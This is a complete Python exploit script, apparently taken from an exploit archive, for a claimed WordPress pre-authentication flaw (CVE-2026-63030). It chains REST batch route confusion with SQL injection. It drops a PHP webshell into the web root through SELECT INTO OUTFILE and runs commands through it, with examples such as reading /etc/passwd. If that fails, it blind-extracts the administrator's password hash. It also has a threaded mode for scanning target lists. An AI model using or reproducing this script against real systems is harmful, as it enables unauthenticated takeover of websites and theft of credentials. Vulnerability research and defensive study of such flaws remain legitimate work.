## https://sploitus.com/exploit?id=PACKETSTORM:227387
#!/usr/bin/env python3
"""
CVE-2026-63030 ("wp2shell") - WordPress REST batch route confusion -> pre-auth RCE
Affected: WordPress Core 6.9.0-6.9.4 and 7.0.0-7.0.1 (fixed in 6.9.5 / 7.0.2)
Type: RCE (unauthenticated) via CWE-436 route confusion chained with CVE-2026-60137 SQLi
Chain:
1. POST /wp-json/batch/v1 is registered with no permission_callback (unauthenticated).
2. A sub-request whose path is "http://" makes wp_parse_url() return false, so a
WP_Error is pushed onto $requests but NOT onto $matches. The dispatch loop indexes
$matches with the $requests index, so from then on sub-request i is dispatched with
sub-request i+1's route+handler ("route confusion").
3. Outer confusion: a /wp/v2/categories sub-request (whose schema is
additionalProperties:true) smuggles a nested "requests" array and is dispatched with
the /batch/v1 handler -> the nested array runs as a batch without ever passing the
batch schema, escaping its method enum (which forbids GET).
4. Inner confusion: a GET carrier sub-request carrying ?author_exclude=<SQL> is
dispatched with WP_REST_Posts_Controller::get_items. author_exclude is not declared
by the carrier route, so it is never coerced to array<integer> and reaches
WP_Query::get_posts() as a raw string, hitting the is_array() gap in the
author__not_in branch and landing unescaped inside "post_author NOT IN (...)".
5. RCE: the carrier route /wp/v2/posts/<id> declares neither `orderby` nor `per_page`,
so orderby=none + per_page=-1 pass through unvalidated and make WP_Query emit no
ORDER BY and no LIMIT clause. That leaves the injection point as the final clause of
the statement, which is what MySQL requires for SELECT ... INTO OUTFILE. A PHP
webshell is written into the web root via LINES TERMINATED BY 0x<hex> and then
driven over HTTP.
Usage:
python exploit.py --host 192.168.1.10
python exploit.py --host 192.168.1.10 --port 8080 --command "uname -a"
python exploit.py --host https://wp.corp.com/blog --command "cat /etc/passwd"
python exploit.py --host 10.0.0.5 --docroot /usr/share/nginx/html
python exploit.py --list targets.txt --workers 20
Scan mode (--list) is non-destructive: it only performs the structural route-confusion
check and a boolean-SQLi differential. It never writes a file to the target.
"""
import argparse
import concurrent.futures
import json
import random
import re
import string
import sys
from urllib.parse import quote, urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.stderr.write("[!] this exploit requires the 'requests' package (pip install requests)\n")
sys.exit(1)
CVE_ID = "CVE-2026-63030"
VULN_TYPE = "RCE"
# REST endpoints to try, in order. Pretty permalinks first, plain-permalink fallback second.
BATCH_ENDPOINTS = ("/wp-json/batch/v1", "/index.php?rest_route=/batch/v1")
# Web roots to try for the INTO OUTFILE drop, in rough order of likelihood.
DOCROOTS = (
"/var/www/html",
"/var/www",
"/usr/share/nginx/html",
"/var/www/wordpress",
"/var/www/html/wordpress",
"/usr/local/apache2/htdocs",
"/opt/bitnami/wordpress",
"/srv/www/htdocs",
"/home/site/wwwroot",
"/app",
)
MARK_S = "<!--WPQS-->"
MARK_E = "<!--WPQE-->"
# Guarded so that repeated copies (INTO OUTFILE emits the payload once per matching row)
# execute exactly once. Command travels base64-encoded to survive URL/shell mangling.
WEBSHELL = (
"<?php if(!defined('WPQ')){define('WPQ',1);"
"echo '" + MARK_S + "';"
"@system(base64_decode($_GET['c']));"
"echo '" + MARK_E + "';} ?>"
)
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------------------
# payload construction
# --------------------------------------------------------------------------------------
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
netloc = host if ((use_tls and port == 443) or (not use_tls and port == 80)) else f"{host}:{port}"
return f"{scheme}://{netloc}" + (path.rstrip("/") if path and path != "/" else "")
def build_payload(carrier: str, sqli: str, extra: str = "") -> dict:
"""Nested double-confusion batch body. `carrier` is the inner GET route that carries
the raw author_exclude value; it must be batch-enabled and must not declare the
parameters we smuggle."""
inner_path = f"{carrier}?author_exclude={quote(sqli, safe='')}{extra}"
inner = [
{"path": "http://", "method": "GET"}, # inner[0]: WP_Error -> shift
{"path": inner_path, "method": "GET"}, # inner[1]: unvalidated payload
{"path": "/wp/v2/posts", "method": "GET"}, # inner[2]: donates get_items
]
return {
"validation": "normal",
"requests": [
{"path": "http://", "method": "POST"}, # outer[0]: WP_Error -> shift
{"path": "/wp/v2/categories", "method": "POST",
"body": {"name": "x", "requests": inner}}, # outer[1]: smuggles inner batch
{"path": "/batch/v1", "method": "POST"}, # outer[2]: donates batch handler
],
}
def send_batch(session, base: str, endpoint: str, payload: dict, timeout: int):
url = base + endpoint
return session.post(url, json=payload, timeout=timeout,
headers={"Content-Type": "application/json"}, verify=False)
def nested_posts(resp) -> list:
"""Pull responses[1].body.responses[1].body out of a batch reply and return it only
if it is a list of *post* objects, i.e. the confusion fired. Returns [] otherwise."""
try:
outer = resp.json()["responses"][1]["body"]
except Exception:
return []
if not isinstance(outer, dict):
return []
inner = outer.get("responses")
if not isinstance(inner, list) or len(inner) < 2:
return []
body = (inner[1] or {}).get("body")
if not isinstance(body, list):
return []
if body and not ("date_gmt" in body[0] and "type" in body[0]):
return []
return body
def confusion_fired(resp) -> bool:
"""True when the *shape* of the nested reply proves the index shift happened."""
try:
outer = resp.json()["responses"][1]["body"]
except Exception:
return False
return isinstance(outer, dict) and isinstance(outer.get("responses"), list)
def find_endpoint(session, base: str, timeout: int):
"""Return the batch endpoint that answers 207, or None."""
probe = build_payload("/wp/v2/categories", "99999999")
for ep in BATCH_ENDPOINTS:
try:
r = send_batch(session, base, ep, probe, timeout)
except requests.RequestException:
continue
if r.status_code == 207:
return ep, r
return None, None
# --------------------------------------------------------------------------------------
# rung 4 - boolean-blind oracle
# --------------------------------------------------------------------------------------
def oracle(session, base: str, endpoint: str, condition: str, timeout: int) -> bool:
"""True when `condition` evaluates true in the target DB.
Excluding authors (1,0) makes the unmodified clause match nothing, so a non-empty
post list is an unambiguous 'condition was true' signal.
"""
sqli = f"1,0) OR ({condition})-- -"
try:
r = send_batch(session, base, endpoint, build_payload("/wp/v2/categories", sqli), timeout)
except requests.RequestException:
return False
return len(nested_posts(r)) > 0
def extract_string(session, base: str, endpoint: str, expr: str, maxlen: int, timeout: int) -> str:
"""Binary-search a DB expression out one character at a time."""
out = ""
for i in range(1, maxlen + 1):
lo, hi = 31, 127
while lo < hi:
mid = (lo + hi) // 2
if oracle(session, base, endpoint,
f"(SELECT ASCII(SUBSTRING(({expr}),{i},1)))>{mid}", timeout):
lo = mid + 1
else:
hi = mid
if lo <= 31:
break
out += chr(lo)
if sys.stdout.isatty():
sys.stdout.write(f"\r extracted: {out}")
sys.stdout.flush()
if out:
if sys.stdout.isatty():
sys.stdout.write("\n")
else:
print(f" extracted ({len(out)} chars): {out}")
return out
# --------------------------------------------------------------------------------------
# rung 5a - INTO OUTFILE webshell
# --------------------------------------------------------------------------------------
def outfile_sqli(abs_path: str, predicate: str) -> str:
hexed = "0x" + WEBSHELL.encode().hex()
return (f"0) AND {predicate} INTO OUTFILE '{abs_path}' "
f"LINES TERMINATED BY {hexed} -- -")
def run_command(session, base: str, shell_url_path: str, command: str, timeout: int):
"""Drive the dropped webshell. Returns command output, or None."""
import base64
enc = base64.b64encode(command.encode()).decode()
try:
r = session.get(base + shell_url_path, params={"c": enc}, timeout=timeout, verify=False)
except requests.RequestException:
return None
if r.status_code != 200:
return None
m = re.search(re.escape(MARK_S) + r"(.*?)" + re.escape(MARK_E), r.text, re.S)
if not m:
return None
return m.group(1)
def drop_and_run(session, base: str, endpoint: str, docroots, command: str,
timeout: int, verbose: bool, keep_shell: bool):
"""Try each docroot until a webshell answers. Returns (output, url_path, abs_path)."""
predicates = (
"post_type='post' AND post_status='publish'", # small, matches a stock install
"1=1", # fallback: every row in wp_posts
)
name = "wp-" + "".join(random.choice(string.hexdigits.lower()) for _ in range(10)) + ".php"
for root in docroots:
abs_path = root.rstrip("/") + "/" + name
for pred in predicates:
payload = build_payload("/wp/v2/posts/1", outfile_sqli(abs_path, pred),
"&orderby=none&per_page=-1")
try:
send_batch(session, base, endpoint, payload, timeout)
except requests.RequestException:
continue
out = run_command(session, base, "/" + name, command, timeout)
if verbose:
state = "shell live" if out is not None else "no shell"
print(f" {abs_path} [{pred}] -> {state}")
if out is not None:
if not keep_shell:
run_command(session, base, "/" + name, f"rm -f {abs_path}", timeout)
return out, "/" + name, abs_path
return None, None, None
# --------------------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------------------
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", timeout: int = 20):
"""Silent, non-destructive probe for --list. Never prints, never exits."""
base = _base_url(host, port, use_tls, path)
session = requests.Session()
try:
endpoint, first = find_endpoint(session, base, timeout)
if endpoint is None:
return False, "no batch/v1 endpoint (not WordPress, or REST API disabled)"
if not confusion_fired(first):
return False, "route confusion blocked - patched (>= 6.9.5 / 7.0.2)"
if not nested_posts(first):
return False, "confusion fired but posts handler returned no rows"
if not oracle(session, base, endpoint, "1=1", timeout):
return False, "confusion ok but SQLi oracle did not respond"
if oracle(session, base, endpoint, "1=2", timeout):
return False, "SQLi oracle not differential - inconclusive"
return True, "route confusion + unauthenticated SQLi confirmed (pre-auth RCE)"
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e:
return False, f"error ({e.__class__.__name__})"
finally:
session.close()
def _parse_target(line: str, default_port: int, default_path: str = "/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else 80), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, timeout: int = 20) -> None:
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{'' if path == '/' else path}"
ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploitable' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploitable / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------------------
# single-target exploit
# --------------------------------------------------------------------------------------
def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
docroot: str, prefix: str, timeout: int, keep_shell: bool) -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
session = requests.Session()
step(1, f"Locating the unauthenticated batch endpoint on {base} ...")
endpoint, first = find_endpoint(session, base, timeout)
if endpoint is None:
section("SERVER RESPONSE", "no endpoint answered HTTP 207 Multi-Status")
done(False, "No reachable /batch/v1 endpoint - target is not WordPress, "
"or the REST API is disabled")
print(f" endpoint: {endpoint} (HTTP {first.status_code})")
step(2, "Rungs 1-3: confirming the batch index-shift route confusion ...")
if not confusion_fired(first):
try:
body = json.dumps(first.json()["responses"][1]["body"])[:400]
except Exception:
body = first.text[:400]
section("SUB-RESPONSE [1]", body)
done(False, "Route confusion did not fire - target is patched "
"(WordPress >= 6.9.5 / >= 7.0.2)")
posts = nested_posts(first)
if not posts:
section("SUB-RESPONSE [1]",
json.dumps(first.json()["responses"][1]["body"])[:600])
done(False, "Nested batch executed but the posts handler returned no rows - "
"site has no published posts?")
section("CONFUSION PROOF - nested responses[1] holds POST objects, not TERM objects",
json.dumps({k: posts[0][k] for k in ("id", "date_gmt", "slug", "type", "status")
if k in posts[0]}, indent=2))
step(3, "Rung 4: verifying the author_exclude SQL injection oracle ...")
t = oracle(session, base, endpoint, "1=1", timeout)
f = oracle(session, base, endpoint, "1=2", timeout)
print(f" (1=1) -> {'rows' if t else 'no rows'} (1=2) -> {'rows' if f else 'no rows'}")
if not (t and not f):
done(False, "Route confusion fired but the SQL injection oracle is not "
"differential - author__not_in may be patched (CVE-2026-60137)")
print(" oracle is differential - arbitrary SQL read confirmed")
step(4, "Rung 5a: writing a PHP webshell via SELECT ... INTO OUTFILE ...")
roots = [docroot] if docroot else list(DOCROOTS)
output, url_path, abs_path = drop_and_run(session, base, endpoint, roots, command,
timeout, True, keep_shell)
if output is not None:
section("COMMAND OUTPUT", output)
first_line = next((l for l in output.splitlines() if l.strip()), "").strip()
print(f" webshell: {base}{url_path} -> {abs_path}")
if not keep_shell:
print(" webshell removed from the target (pass --keep-shell to retain)")
done(True, f"Unauthenticated RCE confirmed - command '{command}' returned: {first_line}")
step(5, "Rung 5a unavailable (no FILE privilege, secure_file_priv, or split DB "
"filesystem). Falling back to rung 4: extracting the administrator hash ...")
user = extract_string(session, base, endpoint,
f"SELECT user_login FROM {prefix}users ORDER BY ID LIMIT 1", 32, timeout)
pwhash = extract_string(session, base, endpoint,
f"SELECT user_pass FROM {prefix}users ORDER BY ID LIMIT 1", 64, timeout)
if pwhash:
section("EXFILTRATED CREDENTIALS",
f"{prefix}users.user_login = {user}\n{prefix}users.user_pass = {pwhash}")
done(True, f"Unauthenticated SQL injection confirmed (rung 4) - extracted "
f"admin '{user}' password hash '{pwhash}'. RCE rung 5a not reachable "
f"on this target (DB user lacks FILE privilege, secure_file_priv is "
f"restricted, or the DB does not share a filesystem with the web root).")
section("SERVER RESPONSE", "webshell drop failed and no hash could be extracted")
done(False, "Route confusion and SQLi oracle both fired, but neither the INTO OUTFILE "
"webshell nor blind extraction produced evidence - check --docroot and "
"--prefix")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://wp.corp.com/blog)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--docroot", default=None,
help="Absolute web root on the target; skips docroot autodetection")
parser.add_argument("--prefix", default="wp_",
help="WordPress table prefix, used by the blind fallback (default: wp_)")
parser.add_argument("--timeout", type=int, default=30,
help="Per-request timeout in seconds (default: 30)")
parser.add_argument("--keep-shell", action="store_true",
help="Leave the dropped webshell on the target (default: remove it)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command, args.docroot, args.prefix,
args.timeout, args.keep_shell)